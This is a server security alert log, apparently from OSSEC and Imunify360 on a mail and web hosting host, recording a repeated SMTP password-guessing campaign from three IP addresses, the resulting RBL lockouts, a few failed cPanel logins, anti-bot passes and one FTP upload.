Jun 13 07:05:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:46184: 535 Incorrect authentication data (set_id=podium@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35364: 535 Incorrect authentication data (set_id=preston@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:06:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:06:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19442: 535 Incorrect authentication data (set_id=sauvegarde@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:06:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:06:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:07:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11286: 535 Incorrect authentication data (set_id=lenovo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:07:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:08:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23246: 535 Incorrect authentication data (set_id=michel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:07:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:07:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:07:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37786: 535 Incorrect authentication data (set_id=prensa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:07:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27260: 535 Incorrect authentication data (set_id=band@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:08:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:08:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11744: 535 Incorrect authentication data (set_id=pcgoadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:08:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:08:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:08:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:40960: 535 Incorrect authentication data (set_id=msr@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:08:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35888: 535 Incorrect authentication data (set_id=aldo@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 82.102.22.184
country_id: 3144096
description:
82.102.22.184 - - [13/Jun/2026:07:08:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986391&pdata=https%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334518 HTTP/2.0" 302 0 wages.tg "https://wages.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:82.102.22.184


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:09:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:09:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:09:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:09:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62088: 535 Incorrect authentication data (set_id=mougenot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:09:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50432: 535 Incorrect authentication data (set_id=mule@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:09:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3484: 535 Incorrect authentication data (set_id=rent@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:10:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:10:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7136: 535 Incorrect authentication data (set_id=555@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:10:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54280: 535 Incorrect authentication data (set_id=faktor@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:10:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42260: 535 Incorrect authentication data (set_id=release@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59572: 535 Incorrect authentication data (set_id=faktor@ns5.netmaster.tg)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 07:11:57 ns5 pure-ftpd[2237695]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/google6b8c2a1e0b3dc12d.html uploaded  (53 bytes, 0.47KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:11:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47268: 535 Incorrect authentication data (set_id=cb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:11:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45674: 535 Incorrect authentication data (set_id=kaplan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:11:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:63406: 535 Incorrect authentication data (set_id=stream@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:11:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:11:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:11:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:12:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64390: 535 Incorrect authentication data (set_id=eec@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:12:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:12:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:12:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35250: 535 Incorrect authentication data (set_id=aomenzuqiu@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:12:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:12:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39300: 535 Incorrect authentication data (set_id=idps@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:12:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55254: 535 Incorrect authentication data (set_id=photos0@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:13:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.242.194.234
country_id: 1643084
description:
[2026-06-13 07:14:00 +0000] info [cpaneld] 180.242.194.234 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.202.55.143
country_id: 690791
description:
[2026-06-13 07:14:06 +0000] info [cpaneld] 31.202.55.143 - wa "GET /login/?login_only=1&user=wa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:13:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:13:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56048: 535 Incorrect authentication data (set_id=nk@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 07:13:22 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44962: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:13:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31108: 535 Incorrect authentication data (set_id=dokdok@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:13:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:13:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:47188: 535 Incorrect authentication data (set_id=opendkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:14:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39072: 535 Incorrect authentication data (set_id=step1@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:15:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:17372: 535 Incorrect authentication data (set_id=ddl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:14:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47542: 535 Incorrect authentication data (set_id=israel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:14:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:14:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55774: 535 Incorrect authentication data (set_id=forums@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:14:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:14:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:15:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:15:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:15:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47364: 535 Incorrect authentication data (set_id=cei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:15:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:15:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802907&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334917 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:15:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:39106: 535 Incorrect authentication data (set_id=tests@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:07:15:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791641&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334925 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:15:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:30878: 535 Incorrect authentication data (set_id=samsungtv@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:16:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:16:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30738: 535 Incorrect authentication data (set_id=trial@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:16:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:16:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22708: 535 Incorrect authentication data (set_id=tuto@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:17:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:16:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38836: 535 Incorrect authentication data (set_id=agana@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:17:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36254: 535 Incorrect authentication data (set_id=receive@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:17:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:17:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:22334: 535 Incorrect authentication data (set_id=ivette@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:17:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:17:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30658: 535 Incorrect authentication data (set_id=egg@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:17:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59618: 535 Incorrect authentication data (set_id=lynne@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:17:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:18:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:57348: 535 Incorrect authentication data (set_id=congreso@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:18:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56440: 535 Incorrect authentication data (set_id=tasaki@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:18:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:22400: 535 Incorrect authentication data (set_id=rehber@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:18:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:18:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:18:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:19:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36750: 535 Incorrect authentication data (set_id=void@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:19:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.42
country_id: 6252001
description:
205.169.39.42 - - [13/Jun/2026:07:20:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935512&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781335215 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:19:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:19:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49212: 535 Incorrect authentication data (set_id=crowd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:19:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:19:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47816: 535 Incorrect authentication data (set_id=rosemary@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:19:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42542: 535 Incorrect authentication data (set_id=rosemary@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:20:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:20:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:20:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:58556: 535 Incorrect authentication data (set_id=qwerty@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:20:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:20:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28636: 535 Incorrect authentication data (set_id=new2@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
